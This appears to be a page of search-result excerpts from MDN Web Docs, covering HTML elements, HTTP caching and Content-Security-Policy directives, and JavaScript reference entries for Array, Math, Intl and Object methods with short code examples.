summaries this example adds some semantics to the <summary> element to indicate the label as important: <details open> <summary><strong>overview</strong></summary> <ol> <li>cash on hand: $500.00</li> <li>current invoice: $75.30</li> <li>due date: 5/6/19</li> </ol> </details> specifications specification status comment html living standardthe definition of '<summary>' in that specification.
... living standard html 5.1the definition of '<summary>' in that specification.
... recommendation initial definition ...
<tbody>: The Table Body element - HTML: Hypertext Markup Language
WebHTMLElementtbody
font is used to establish an initial font for the table.
... tbody > tr > th { background-color: #dde; border-bottom: 1.5px solid #bbb; font-weight: normal; } specifications specification status comment html living standardthe definition of 'tbody element' in that specification.
... living standard html5the definition of 'tbody element' in that specification.
<template>: The Content Template element - HTML: Hypertext Markup Language
WebHTMLElementtemplate
specifications specification status comment html living standardthe definition of 'template element' in that specification.
... living standard html5the definition of 'template element' in that specification.
... recommendation initial definition ...
<textarea> - HTML: Hypertext Markup Language
WebHTMLElementtextarea
implicit aria role textbox permitted aria roles no role permitted dom interface htmltextareaelement specifications specification status comment html living standardthe definition of '<textarea>' in that specification.
... living standard html5the definition of '<textarea>' in that specification.
... recommendation html 4.01 specificationthe definition of '<textarea>' in that specification.
<track>: The Embed Text Track element - HTML: Hypertext Markup Language
WebHTMLElementtrack
</video> specifications specification status comment html living standardthe definition of 'track element' in that specification.
... living standard html5the definition of 'track element' in that specification.
... recommendation initial definition ...
<u>: The Unarticulated Annotation (Underline) element - HTML: Hypertext Markup Language
WebHTMLElementu
you can, if you wish, override that using css: cite { font-style: normal; text-decoration: underline; } result with custom style specifications specification status comment html living standardthe definition of '<u>' in that specification.
... living standard html5the definition of '<u>' in that specification.
... recommendation html 4.01 specificationthe definition of '<b>' in that specification.
<video>: The Video Embed element - HTML: Hypertext Markup Language
WebHTMLElementvideo
if the media has no known end (such as for live streams of unknown duration, web radio, media incoming from webrtc, and so forth), this value is +infinity.
...if set, the audio will be initially silenced.
... implicit aria role no corresponding role permitted aria roles application dom interface htmlvideoelement specifications specification feedback html living standardthe definition of '<video>' in that specification.
HTML elements reference - HTML: Hypertext Markup Language
WebHTMLElement
<dd> the html <dd> element provides the description, definition, or value for the preceding term (<dt>) in a description list (<dl>).
... <dt> the html <dt> element specifies a term in a description or definition list, and as such must be used inside a <dl> element.
... <dfn> the html definition element (<dfn>) is used to indicate the term being defined within the context of a definition phrase or sentence.
itemid - HTML: Hypertext Markup Language
the exact meaning of an itemtype's global identifier is provided by the definition of that identifier within the specified vocabulary.
... note: the whatwg definition specifies that an itemid must be a url.
...hamilton itemprop pubdate 1996-01-26 result specifications specification status comment html living standardthe definition of 'itemid' in that specification.
itemprop - HTML: Hypertext Markup Language
if the item is a typed item it must be either: a defined property name, or a valid url, which refers to the vocabulary definition, or a valid url that is used as a proprietary item property name (i.e.
...hamilton itemprop pubdate 1996-01-26 result specifications specification status comment html microdatathe definition of 'itemprop' in that specification.
... working draft html living standardthe definition of 'itemprop' in that specification.
spellcheck - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'spellcheck' in that specification.
... living standard no change from latest snapshot, html 5.1 html 5.1the definition of 'spellcheck' in that specification.
... recommendation snapshot of html living standard, initial definition ...
translate - HTML: Hypertext Markup Language
<footer> <small>© 2020 <span translate="no">brandname</span></small> </footer> specifications specification status comment html living standardthe definition of 'translate' in that specification.
... living standard no change from latest snapshot, html 5.1 html 5.1the definition of 'translate' in that specification.
... recommendation snapshot of html living standard, initial definition ...
Preloading content with rel="preload" - HTML: Hypertext Markup Language
specifications specification status comment preloadthe definition of 'preload' in that specification.
... html living standardthe definition of 'rel=preload' in that specification.
... living standard definition of rel=preload.
Evolution of HTTP - HTTP
initially calling it the mesh, it was later renamed to world wide web during its implementation in 1990.
... http/0.9 – the one-line protocol the initial version of http had no version number; it has been later called 0.9 to differentiate it from the later versions.
...this is the definition of http/1.0 and it is notable that, in the narrow sense of the term, it isn't an official standard.
Cache-Control - HTTP
(see spec for definitions) cache request directives standard cache-control directives that can be used by the client in an http request.
...the seconds value indicates how long the client will accept the stale response after the initial expiration.
... cache-control: no-cache cache-control: no-cache, max-age=0 specifications specification status comment rfc 8246: http immutable responses ietf rfc rfc 7234: hypertext transfer protocol (http/1.1): caching ietf rfc rfc 5861: http cache-control extensions for stale content ietf rfc initial definition ...
CSP: frame-src - HTTP
use this sparingly and definitely not for scripts.
... examples violation cases given this csp header: content-security-policy: frame-src https://example.com/ the following <iframe> is blocked and won't load: <iframe src="https://not-example.com/"></iframe> specifications specification status comment content security policy level 3the definition of 'frame-src' in that specification.
... content security policy level 2the definition of 'frame-src' in that specification.
CSP: manifest-src - HTTP
use this sparingly and definitely not for scripts.
... examples violation cases given this csp header: content-security-policy: manifest-src https://example.com/ the following <link> is blocked and won't load: <link rel="manifest" href="https://not-example.com/manifest"> specifications specification status comment content security policy level 3the definition of 'manifest-src' in that specification.
... working draft initial definition.
CSP: plugin-types - HTTP
wave-flash will allow to load flash objects: <object data="https://example.com/flash" type="application/x-shockwave-flash"></object> allowing java applets to load an <applet> you must specify application/x-java-applet: content-security-policy: plugin-types application/x-java-applet specifications specification status comment content security policy level 3the definition of 'plugin-types' in that specification.
... content security policy level 2the definition of 'plugin-types' in that specification.
... recommendation initial definition.
CSP: prefetch-src - HTTP
use this sparingly and definitely not for scripts.
...-security-policy: prefetch-src https://example.com/ fetches for the following code will return network errors, as the urls provided do not match prefetch-src's source list: <link rel="prefetch" src="https://example.org/"></link> <link rel="prerender" src="https://example.org/"></link> specification specification status comment content security policy level 3the definition of 'prefetch-src' in that specification.
... working draft initial definition.
CSP: report-uri - HTTP
$log_file; mail($email_address, $email_subject, $message, 'content-type: text/plain;charset=utf-8'); } else if (filesize($log_file) > $log_file_size_limit) { exit(0); } file_put_contents($log_file, $json_data, file_append | lock_ex); } specifications specification status comment content security policy level 3the definition of 'report-uri' in that specification.
... content security policy level 2the definition of 'report-uri' in that specification.
... recommendation initial definition.
CSP: script-src-attr - HTTP
use this sparingly and definitely not for scripts.
... specifications specification status comment content security policy level 3the definition of 'script-src-attr' in that specification.
... working draft initial definition.
CSP: script-src-elem - HTTP
use this sparingly and definitely not for scripts.
... specifications specification status comment content security policy level 3the definition of 'script-src-elem' in that specification.
... working draft initial definition.
CSP: style-src-attr - HTTP
use this sparingly and definitely not for scripts.
... examples todo: add examples specifications specification status comment content security policy level 3the definition of 'style-src-attr' in that specification.
... working draft initial definition.
CSP: style-src-elem - HTTP
use this sparingly and definitely not for scripts.
... examples todo: add examples specifications specification status comment content security policy level 3the definition of 'style-src-elem' in that specification.
... working draft initial definition.
CSP: worker-src - HTTP
use this sparingly and definitely not for scripts.
... worker, sharedworker, serviceworker are blocked and won't load: <script> var blockedworker = new worker("data:application/javascript,..."); blockedworker = new sharedworker("https://not-example.com/"); navigator.serviceworker.register('https://not-example.com/sw.js'); </script> specifications specification status comment content security policy level 3the definition of 'worker-src' in that specification.
... working draft initial definition.
Link prefetching FAQ - HTTP
in fact, the html 4.01 specification explicitly allows for the definition of new link relation types (see section 6.12: link types).
... when the user clicks on a link, or initiates any kind of page load, link prefetching will stop and any prefetch hints will be discarded.
...for example, if you load a bookmark group (which opens several tabs), any prefetch requests initiated by one of the bookmarked pages will not begin until all of the tabs finish loading.
An overview of HTTP - HTTP
WebHTTPOverview
it is the foundation of any data exchange on the web and it is a client-server protocol, which means requests are initiated by the recipient, usually the web browser.
... the browser is always the entity initiating the request.
... it is never the server (though some mechanisms have been added over the years to simulate server-initiated messages).
Regular expressions - JavaScript
'd(b+)d' as shown in the second form of this example, you can use a regular expression created with an object initializer without assigning it to a variable.
...if you need to access the properties of a regular expression created with an object initializer, you should first assign it to a variable.
... specifications specification ecmascript (ecma-262)the definition of 'regexp' in that specification.
JavaScript technologies overview - JavaScript
among other things, ecmascript defines: language syntax (parsing rules, keywords, control flow, object literal initialization, ...) error handling mechanisms (throw, try...catch, ability to create user-defined error types) types (boolean, number, string, function, object, ...) the global object.
...the initial standard was approved in december 2012; the status of implementations in browsers is tracked in the documentation of the intl object.
...among the things defined by the dom, we can find: the document structure, a tree model, and the dom event architecture in dom core: node, element, documentfragment, document, domimplementation, event, eventtarget, … a less rigorous definition of the dom event architecture, as well as specific events in dom events.
Memory Management - JavaScript
allocation in javascript value initialization in order to not bother the programmer with allocations, javascript will automatically allocate memory when values are initially declared.
... mark-and-sweep algorithm this algorithm reduces the definition of "an object is no longer needed" to "an object is unreachable".
...all improvements made in the field of javascript garbage collection (generational/incremental/concurrent/parallel garbage collection) over the last few years are implementation improvements of this algorithm, but not improvements over the garbage collection algorithm itself nor its reduction of the definition of when "an object is no longer needed".
SyntaxError: missing ] after element list - JavaScript
the javascript exception "missing ] after element list" occurs when there is an error with the array initializer syntax somewhere.
... there is an error with the array initializer syntax somewhere.
... examples incomplete array initializer var list = [1, 2, var instruments = [ 'ukulele', 'guitar', 'piano' }; var data = [{foo: 'bar'} {bar: 'foo'}]; correct would be: var list = [1, 2]; var instruments = [ 'ukulele', 'guitar', 'piano' ]; var data = [{foo: 'bar'}, {bar: 'foo'}]; ...
SyntaxError: missing : after property id - JavaScript
the javascript exception "missing : after property id" occurs when objects are created using the object initializer syntax.
... when creating objects with the object initializer syntax, a colon (:) separates keys and values for the object's properties.
...equal signs this code fails, as the equal sign can't be used this way in this object initializer syntax.
SyntaxError: missing } after property list - JavaScript
the javascript exception "missing } after property list" occurs when there is a mistake in the object initializer syntax somewhere.
... there is a mistake in the object initializer syntax somewhere.
... examples forgotten comma oftentimes, there is a missing comma in your object initializer code: var obj = { a: 1, b: { myprop: 2 } c: 3 }; correct would be: var obj = { a: 1, b: { myprop: 2 }, c: 3 }; ...
JavaScript error reference - JavaScript
error: permission denied to access property "x"internalerror: too much recursionrangeerror: argument is not a valid code pointrangeerror: invalid array lengthrangeerror: invalid daterangeerror: precision is out of rangerangeerror: radix must be an integerrangeerror: repeat count must be less than infinityrangeerror: repeat count must be non-negativereferenceerror: "x" is not definedreferenceerror: assignment to undeclared variable "x"referenceerror: can't access lexical declaration "x" before initializationreferenceerror: deprecated caller or arguments usagereferenceerror: invalid assignment left-hand sidereferenceerror: reference to undefined property "x"syntaxerror: "0"-prefixed octal literals ...
...use //# insteadsyntaxerror: a declaration in the head of a for-of loop can't have an initializersyntaxerror: applying the "delete" operator to an unqualified name is deprecatedsyntaxerror: for-in loop head declarations may not have initializerssyntaxerror: function statement requires a namesyntaxerror: identifier starts immediately after numeric literalsyntaxerror: illegal charactersyntaxerror: invalid regular expression flag "x"syntaxerror: missing ) after argument listsyntaxerror: m...
...onsyntaxerror: test for equality (==) mistyped as assignment (=)?syntaxerror: unterminated string literaltypeerror: "x" has no propertiestypeerror: "x" is (not) "y"typeerror: "x" is not a constructortypeerror: "x" is not a functiontypeerror: "x" is not a non-null objecttypeerror: "x" is read-onlytypeerror: 'x' is not iterabletypeerror: more arguments neededtypeerror: reduce of empty array with no initial valuetypeerror: x.prototype.y called on incompatible typetypeerror: can't access dead objecttypeerror: can't access property "x" of "y"typeerror: can't assign to property "x" on "y": not an objecttypeerror: can't define property "x": "obj" is not extensibletypeerror: can't delete non-configurable array elementtypeerror: can't redefine non-configurable property "x"typeerror: cannot use "in" ope...
Default parameters - JavaScript
default function parameters allow named parameters to be initialized with default values if no value or undefined is passed.
... this means that functions and variables declared in the function body cannot be referred to from default value parameter initializers; attempting to do so throws a run-time referenceerror.
... function f(x = 1, y) { return [x, y] } f() // [1, undefined] f(2) // [2, undefined] destructured parameter with default value assignment you can use default value assignment with the destructuring assignment notation: function f([x, y] = [1, 2], {z: z} = {z: 3}) { return x + y + z } f() // 6 specifications specification ecmascript (ecma-262)the definition of 'function definitions' in that specification.
arguments[@@iterator]() - JavaScript
the initial value of the @@iterator property is the same function object as the initial value of the array.prototype.values property.
... syntax arguments[symbol.iterator]() examples iteration using for...of loop function f() { // your browser must support for..of loop // and let-scoped variables in for loops for (let letter of arguments) { console.log(letter); } } f('w', 'y', 'k', 'o', 'p'); specifications specification ecmascript (ecma-262)the definition of 'createunmappedargumentsobject' in that specification.
... ecmascript (ecma-262)the definition of 'createmappedargumentsobject' in that specification.
Array.prototype[@@iterator]() - JavaScript
the initial value of the @@iterator property is the same function object as the initial value of the values() property.
... syntax arr[symbol.iterator]() return value the initial value given by the values() iterator.
...for..of loop // and let-scoped variables in for loops // const and var could also be used for (let letter of iterator) { console.log(letter); } } // array logiterable(['a', 'b', 'c']); // a // b // c // string logiterable('abc'); // a // b // c logiterable(123); // 123 " is not an iterable object..." specifications specification ecmascript (ecma-262)the definition of 'array.prototype[@@iterator]()' in that specification.
Array.prototype.filter() - JavaScript
let arr = [ { id: 15 }, { id: -1 }, { id: 0 }, { id: 3 }, { id: 12.2 }, { }, { id: null }, { id: nan }, { id: 'undefined' } ] let invalidentries = 0 function filterbyid(item) { if (number.isfinite(item.id) && item.id !== 0) { return true } invalidentries++ return false; } let arrbyid = arr.filter(filterbyid) console.log('filtered array\n', arrbyid) // filtered array // [{ id: 15 }, { id: -1 }, { id: 3 }, { id: 12.2 }] console.log('number of invalid entries = ', invalidentries) // number of invalid entries = 5 searching in array following example uses filter() to filter arr...
... const fruits = ['apple', 'banana', 'grapes', 'mango', 'orange'] /** * filter array items based on search criteria (query) */ const filteritems = (arr, query) => { return arr.filter(el => el.tolowercase().indexof(query.tolowercase()) !== -1) } console.log(filteritems(fruits, 'ap')) // ['apple', 'grapes'] console.log(filteritems(fruits, 'an')) // ['banana', 'mango', 'orange'] affecting initial array (modifying, appending and deleting) the following examples tests the behavior of the filter method when the array is modified.
... = ['spray', 'limit', 'exuberant', 'destruction', 'elite', 'present'] const deletewords = words.filter( (word, index, arr) => { arr.pop() return word.length < 6 }) console.log(deletewords) // notice 'elite' is not even obtained as its been popped off `words` before filter can even get there // ["spray" ,"limit"] specifications specification ecmascript (ecma-262)the definition of 'array.prototype.filter' in that specification.
Array.prototype.flat() - JavaScript
flatdeep(val, d - 1) : val), []) : arr.slice(); }; flatdeep(arr, infinity); // [1, 2, 3, 4, 5, 6] use a stack // non recursive flatten deep using a stack // note that depth control is hard/inefficient as we will need to tag each value with its own depth // also possible w/o reversing on shift/unshift, but array ops on the end tends to be faster function flatten(input) { const stack = [...input]; const res = []; while(stack.length) { // pop value from stac...
...atten(arr); // [1, 2, 3, 4, 5, 6] use generator function function* flatten(array, depth) { if(depth === undefined) { depth = 1; } for(const item of array) { if(array.isarray(item) && depth > 0) { yield* flatten(item, depth - 1); } else { yield item; } } } const arr = [1, 2, [3, 4, [5, 6]]]; const flattened = [...flatten(arr, infinity)]; // [1, 2, 3, 4, 5, 6] please do not add polyfills on this article.
....mozilla.org/t/mdn-rfc-001-mdn-wiki-pages-shouldnt-be-a-distributor-of-polyfills/24500 examples flattening nested arrays const arr1 = [1, 2, [3, 4]]; arr1.flat(); // [1, 2, 3, 4] const arr2 = [1, 2, [3, 4, [5, 6]]]; arr2.flat(); // [1, 2, 3, 4, [5, 6]] const arr3 = [1, 2, [3, 4, [5, 6]]]; arr3.flat(2); // [1, 2, 3, 4, 5, 6] const arr4 = [1, 2, [3, 4, [5, 6, [7, 8, [9, 10]]]]]; arr4.flat(infinity); // [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] flattening and array holes the flat method removes empty slots in arrays: const arr5 = [1, 2, , 4, 5]; arr5.flat(); // [1, 2, 4, 5] specifications specification ecmascript (ecma-262)the definition of 'array.prototype.flat' in that specification.
Array.prototype.forEach() - JavaScript
it is not invoked for index properties that have been deleted or are uninitialized.
... example code let ratings = [5, 4, 5]; let sum = 0; let sumfunction = async function (a, b) { return a + b } ratings.foreach(async function(rating) { sum = await sumfunction(sum, rating) }) console.log(sum) // naively expected output: 14 // actual output: 0 examples no operation for uninitialized values (sparse arrays) const arraysparse = [1,3,,7] let numcallbackruns = 0 arraysparse.foreach((element) => { console.log(element) numcallbackruns++ }) console.log("numcallbackruns: ", numcallbackruns) // 1 // 3 // 7 // numcallbackruns: 3 // comment: as you can see the missing value between 3 and 7 didn't invoke callback function.
... function flatten(arr) { const result = [] arr.foreach((i) => { if (array.isarray(i)) { result.push(...flatten(i)) } else { result.push(i) } }) return result } // usage const nested = [1, 2, 3, [4, 5, [6, 7], 8, 9]] flatten(nested) // [1, 2, 3, 4, 5, 6, 7, 8, 9] specifications specification ecmascript (ecma-262)the definition of 'array.prototype.foreach' in that specification.
Array.from() - JavaScript
} var tostr = object.prototype.tostring; var iscallable = function (fn) { return ( typeof fn === 'function' || tostr.call(fn) === '[object function]' ); }; var tointeger = function (value) { var number = number(value); if (isnan(number)) return 0; if (number === 0 || !isfinite(number)) return number; return (number > 0 ?
..., 'b']; array.from(mapper.keys()); // ['1', '2']; array from an array-like object (arguments) function f() { return array.from(arguments); } f(1, 2, 3); // [ 1, 2, 3 ] using arrow functions and array.from() // using an arrow function as the map function to // manipulate the elements array.from([1, 2, 3], x => x + x); // [2, 4, 6] // generate a sequence of numbers // since the array is initialized with `undefined` on each position, // the value of `v` below will be `undefined` array.from({length: 5}, (v, i) => i); // [0, 1, 2, 3, 4] sequence generator (range) // sequence generator function (commonly referred to as "range", e.g.
...0 with step of 2 range(1, 10, 2); // [1, 3, 5, 7, 9] // generate the alphabet using array.from making use of it being ordered as a sequence range('a'.charcodeat(0), 'z'.charcodeat(0), 1).map(x => string.fromcharcode(x)); // ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"] specifications specification initial publication ecmascript (ecma-262)the definition of 'array.from' in that specification.
Function.prototype.apply() - JavaScript
simple loop based algorithm max = -infinity, min = +infinity; for (let i = 0; i < numbers.length; i++) { if (numbers[i] > max) { max = numbers[i]; } if (numbers[i] < min) { min = numbers[i]; } } but beware: by using apply this way, you run the risk of exceeding the javascript engine's argument length limit.
... if your value array might grow into the tens of thousands, use a hybrid strategy: apply your function to chunks of the array at a time: function minofarray(arr) { let min = infinity; let quantum = 32768; for (var i = 0, len = arr.length; i < len; i += quantum) { var submin = math.min.apply(null, arr.slice(i, math.min(i+quantum, len))); min = math.min(submin, min); } return min; } let min = minofarray([5, 6, 2, 3, 7]); using apply to chain constructors you can use apply to chain constructors for an object (similar to java...
... specifications specification ecmascript (ecma-262)the definition of 'function.prototype.apply' in that specification.
Function.prototype.bind() - JavaScript
return value a copy of the given function with the specified this value, and initial arguments (if provided).
...e.getx; retrievex(); // returns 9; the function gets invoked at the global scope // create a new function with 'this' bound to module // new programmers might confuse the // global variable 'x' with module's property 'x' const boundgetx = retrievex.bind(module); boundgetx(); // returns 81 partially applied functions the next simplest use of bind() is to make a function with pre-specified initial arguments.
... slice(arguments); specifications specification ecmascript (ecma-262)the definition of 'function.prototype.bind' in that specification.
Intl.Collator.prototype.resolvedOptions() - JavaScript
the intl.collator.prototype.resolvedoptions() method returns a new object with properties reflecting the locale and collation options computed during initialization of this collator object.
... syntax collator.resolvedoptions() return value a new object with properties reflecting the locale and collation options computed during the initialization of the given collator object.
... 'base' }) var usedoptions = de.resolvedoptions(); usedoptions.locale; // "de" usedoptions.usage; // "sort" usedoptions.sensitivity; // "base" usedoptions.ignorepunctuation; // false usedoptions.collation; // "default" usedoptions.numeric; // false specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.collator.prototype.resolvedoptions' in that specification.
Intl.DateTimeFormat.prototype.resolvedOptions() - JavaScript
the intl.datetimeformat.prototype.resolvedoptions() method returns a new object with properties reflecting the locale and date and time formatting options computed during initialization of this datetimeformat object.
... syntax datetimeformat.resolvedoptions() return value a new object with properties reflecting the locale and date and time formatting options computed during the initialization of the given datetimeformat object.
...tetimeformat('de-xx', { timezone: 'utc' }); var usedoptions = germanfakeregion.resolvedoptions(); usedoptions.locale; // "de" usedoptions.calendar; // "gregory" usedoptions.numberingsystem; // "latn" usedoptions.timezone; // "utc" usedoptions.month; // "numeric" specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.datetimeformat.prototype.resolvedoptions' in that specification.
Intl.NumberFormat.prototype.resolvedOptions() - JavaScript
the intl.numberformat.prototype.resolvedoptions() method returns a new object with properties reflecting the locale and number formatting options computed during initialization of this numberformat object.
... syntax numberformat.resolvedoptions() return value a new object with properties reflecting the locale and number formatting options computed during the initialization of the given numberformat object.
...ons.notation; // "standard" usedoptions.signdisplay; // "auto" usedoption.style; // "decimal" usedoptions.minimumintegerdigits; // 1 usedoptions.minimumfractiondigits; // 0 usedoptions.maximumfractiondigits; // 3 usedoptions.usegrouping; // true specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.numberformat.prototype.resolvedoptions' in that specification.
Intl.PluralRules.prototype.resolvedOptions() - JavaScript
the intl.pluralrules.prototype.resolvedoptions() method returns a new object with properties reflecting the locale and plural formatting options computed during initialization of this pluralrules object.
... syntax pluralrule.resolvedoptions() return value a new object with properties reflecting the locale and plural formatting options computed during the initialization of the given pluralrules object.
...esolvedoptions(); usedoptions.locale; // "de-de" usedoptions.maximumfractiondigits; // 3 usedoptions.minimumfractiondigits; // 0 usedoptions.minimumintegerdigits; // 1 usedoptions.pluralcategories; // array [ "one", "other" ] usedoptions.type; // "cardinal" specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.pluralrules.prototype.resolvedoptions' in that specification.
Intl.RelativeTimeFormat.prototype.resolvedOptions() - JavaScript
the intl.relativetimeformat.prototype.resolvedoptions() method returns a new object with properties reflecting the locale and relative time formatting options computed during initialization of this relativetimeformat object.
... syntax relativetimeformat.resolvedoptions() return value a new object with properties reflecting the locale and number formatting options computed during the initialization of the given relativetimeformat object.
... the resolvedoptions method var de = new intl.relativetimeformat('de-de'); var usedoptions = de.resolvedoptions(); usedoptions.locale; // "de-de" usedoptions.style; // "long" usedoptions.numeric; // "always" usedoptions.numberingsystem; // "latn" specifications specification status comment ecmascript internationalization api (ecma-402)the definition of 'relativetimeformat.resolvedoptions()' in that specification.
Math.fround() - JavaScript
if the number is outside the range of a 32-bit float, infinity or -infinity is returned.
... var mantissa = math.round((leading - arg / powexp) * 0x800000); if (mantissa <= -0x800000) return sign * infinity; return sign * powexp * (leading - mantissa / 0x800000); }; examples using math.fround() the number 1.5 can be precisely represented in the binary numeral system, and is identical in 32-bit and 64-bit: math.fround(1.5); // 1.5 math.fround(1.5) === 1.5; // true however, the number 1.337 cannot be precisely represented in the binary numeral system, so it differs in 32-bit and 64-bit: math...
....fround(1.337); // 1.3370000123977661 math.fround(1.337) === 1.337; // false 21502^150 is too big for a 32-bit float, so infinity is returned: 2 ** 150; // 1.42724769270596e+45 math.fround(2 ** 150); // infinity if the parameter cannot be converted to a number, or it is not-a-number (nan), math.fround() will return nan: math.fround('abc'); // nan math.fround(nan); // nan specifications specification ecmascript (ecma-262)the definition of 'math.fround' in that specification.
Math.log() - JavaScript
description if the value of x is 0, the return value is always -infinity.
... examples using math.log() math.log(-1); // nan, out of range math.log(0); // -infinity math.log(1); // 0 math.log(10); // 2.302585092994046 using math.log() with a different base the following function returns the logarithm of y with base x (ie.
... specifications specification ecmascript (ecma-262)the definition of 'math.log' in that specification.
Math.min() - JavaScript
the result is infinity if no parameters are provided.
... if no arguments are given, the result is infinity.
... specifications specification ecmascript (ecma-262)the definition of 'math.min' in that specification.
Math.tanh() - JavaScript
polyfill this can be emulated with the help of the math.exp() function: math.tanh = math.tanh || function(x){ var a = math.exp(+x), b = math.exp(-x); return a == infinity ?
... 1 : b == infinity ?
... -1 : (a - b) / (a + b); } examples using math.tanh() math.tanh(0); // 0 math.tanh(infinity); // 1 math.tanh(1); // 0.7615941559557649 specifications specification ecmascript (ecma-262)the definition of 'math.tanh' in that specification.
Math.trunc() - JavaScript
polyfill if (!math.trunc) { math.trunc = function(v) { v = +v; if (!isfinite(v)) return v; return (v - v % 1) || (v < 0 ?
...v : 0); // returns: // 0 -> 0 // -0 -> -0 // 0.2 -> 0 // -0.2 -> -0 // 0.7 -> 0 // -0.7 -> -0 // infinity -> infinity // -infinity -> -infinity // nan -> nan // null -> 0 }; } or: if (!math.trunc) { math.trunc = function (v) { return v < 0 ?
... math.ceil(v) : math.floor(v); }; } examples using math.trunc() math.trunc(13.37); // 13 math.trunc(42.84); // 42 math.trunc(0.123); // 0 math.trunc(-0.123); // -0 math.trunc('-1.123'); // -1 math.trunc(nan); // nan math.trunc('foo'); // nan math.trunc(); // nan specifications specification ecmascript (ecma-262)the definition of 'math.trunc' in that specification.
NaN - JavaScript
the initial value of nan is not-a-number — the same as the value of number.nan.
...0 * infinity) any operation that involves a string and is not an addition operation (e.g.
... let arr = [2, 4, nan, 12]; arr.indexof(nan); // -1 (false) arr.includes(nan); // true arr.findindex(n => number.isnan(n)); // 2 specifications specification ecmascript (ecma-262)the definition of 'nan' in that specification.
Number.isInteger() - JavaScript
if the value is nan or infinity, return false.
... polyfill number.isinteger = number.isinteger || function(value) { return typeof value === 'number' && isfinite(value) && math.floor(value) === value; }; examples using isinteger number.isinteger(0); // true number.isinteger(1); // true number.isinteger(-100000); // true number.isinteger(99999999999999999999999); // true number.isinteger(0.1); // false number.isinteger(math.pi); // false number.isinteger(nan); // false number.isinteger(infinity); // false number.isinteger(-infinity); // false number.isinteger('10'); // false number.isinteger(true); // false number.isinteger(false); // false number.isinteger([1]); // false numbe...
...r.isinteger(5.0); // true number.isinteger(5.000000000000001); // false number.isinteger(5.0000000000000001); // true specifications specification ecmascript (ecma-262)the definition of 'number.isinteger' in that specification.
Object.prototype.constructor - JavaScript
*/ } parent.prototype.parentmethod = function parentmethod() {} function child() { parent.call(this) // make sure everything is initialized properly } child.prototype = object.create(parent.prototype) // re-define child prototype to parent prototype child.prototype.constructor = child // return original constructor to child but when do we need to perform the last line here?
...entwithstatic.startposition = { x: 0, y:0 } // static member property parentwithstatic.getstartposition = function getstartposition() { return this.startposition } function child(x, y) { this.position = { x: x, y: y } } child = object.assign(parentwithstatic) child.prototype = object.create(parentwithstatic.prototype) child.prototype.constructor = child child.prototype.getoffsetbyinitialposition = function getoffsetbyinitialposition() { let position = this.position let startposition = this.constructor.getstartposition() // error undefined is not a function, since the constructor is child return { offsetx: startposition.x - position.x, offsety: startposition.y - position.y } }; for this example we need either to stay parent constructor to continue to work prop...
... specifications specification ecmascript (ecma-262)the definition of 'object.prototype.constructor' in that specification.
Object.isExtensible() - JavaScript
object.preventextensions(empty); object.isextensible(empty); // === false // sealed objects are by definition non-extensible.
... var sealed = object.seal({}); object.isextensible(sealed); // === false // frozen objects are also by definition non-extensible.
... object.isextensible(1); // typeerror: 1 is not an object (es5 code) object.isextensible(1); // false (es2015 code) specifications specification ecmascript (ecma-262)the definition of 'object.isextensible' in that specification.
Object.isFrozen() - JavaScript
var frozen = { 1: 81 }; object.isfrozen(frozen); // === false object.freeze(frozen); object.isfrozen(frozen); // === true // by definition, a frozen object is non-extensible.
... object.isextensible(frozen); // === false // also by definition, a frozen object is sealed.
... object.isfrozen(1); // typeerror: 1 is not an object (es5 code) object.isfrozen(1); // true (es2015 code) specifications specification ecmascript (ecma-262)the definition of 'object.isfrozen' in that specification.
Object.prototype.__proto__ - JavaScript
the __proto__ property can also be used in an object literal definition to set the object [[prototype]] on creation, as an alternative to object.create().
... see: object initializer / literal syntax.
....myname = function () { console.log('myname'); }; var a = new test(); console.log(a.__proto__ === test.prototype); // true a.myname(); // myname // or var fn = function () {}; fn.prototype.myname = function () { console.log('myname'); }; var obj = { __proto__: fn.prototype }; obj.myname(); // myname specifications specification ecmascript (ecma-262)the definition of 'object.prototype.__proto__' in that specification.
Object - JavaScript
objects can be created using the object() constructor or the object initializer / literal syntax.
... see also the object initializer / literal syntax.
...ilder'); var joe = new customer('joe'); var rg = new employee('red green', 'handyman'); var mike = new customer('mike'); var mime = new mime('mime'); bob.greet(); // hi, i am bob, the builder joe.greet(); // hi, i am joe rg.greet(); // hi, i am red green, the handyman mike.greet(); // hi, i am mike mime.greet(); specifications specification ecmascript (ecma-262)the definition of 'object' in that specification.
Reflect.isExtensible() - JavaScript
reflect.preventextensions(empty) reflect.isextensible(empty) // === false // sealed objects are by definition non-extensible.
... let sealed = object.seal({}) reflect.isextensible(sealed) // === false // frozen objects are also by definition non-extensible.
... reflect.isextensible(1) // typeerror: 1 is not an object object.isextensible(1) // false specifications specification ecmascript (ecma-262)the definition of 'reflect.isextensible' in that specification.
RegExp.prototype.exec() - JavaScript
it will create an infinite loop if there is a match, due to the lastindex property being reset upon each iteration.
... also, be sure that the global flag ("g") is set, or it will also cause an infinite loop.
... specifications specification ecmascript (ecma-262)the definition of 'regexp.exec' in that specification.
String.fromCodePoint() - JavaScript
use the code below for a polyfill: if (!string.fromcodepoint) (function(stringfromcharcode) { var fromcodepoint = function(_) { var codeunits = [], codelen = 0, result = ""; for (var index=0, len = arguments.length; index !== len; ++index) { var codepoint = +arguments[index]; // correctly handles all cases including `nan`, `-infinity`, `+infinity` // the surrounding `!(...)` is required to correctly handle `nan` cases // the (codepoint>>>0) === codepoint clause handles decimals and negatives if (!(codepoint < 0x10ffff && (codepoint>>>0) === codepoint)) throw rangeerror("invalid code point: " + codepoint); if (codepoint <= 0xffff) { // bmp code point codelen = codeunits.push...
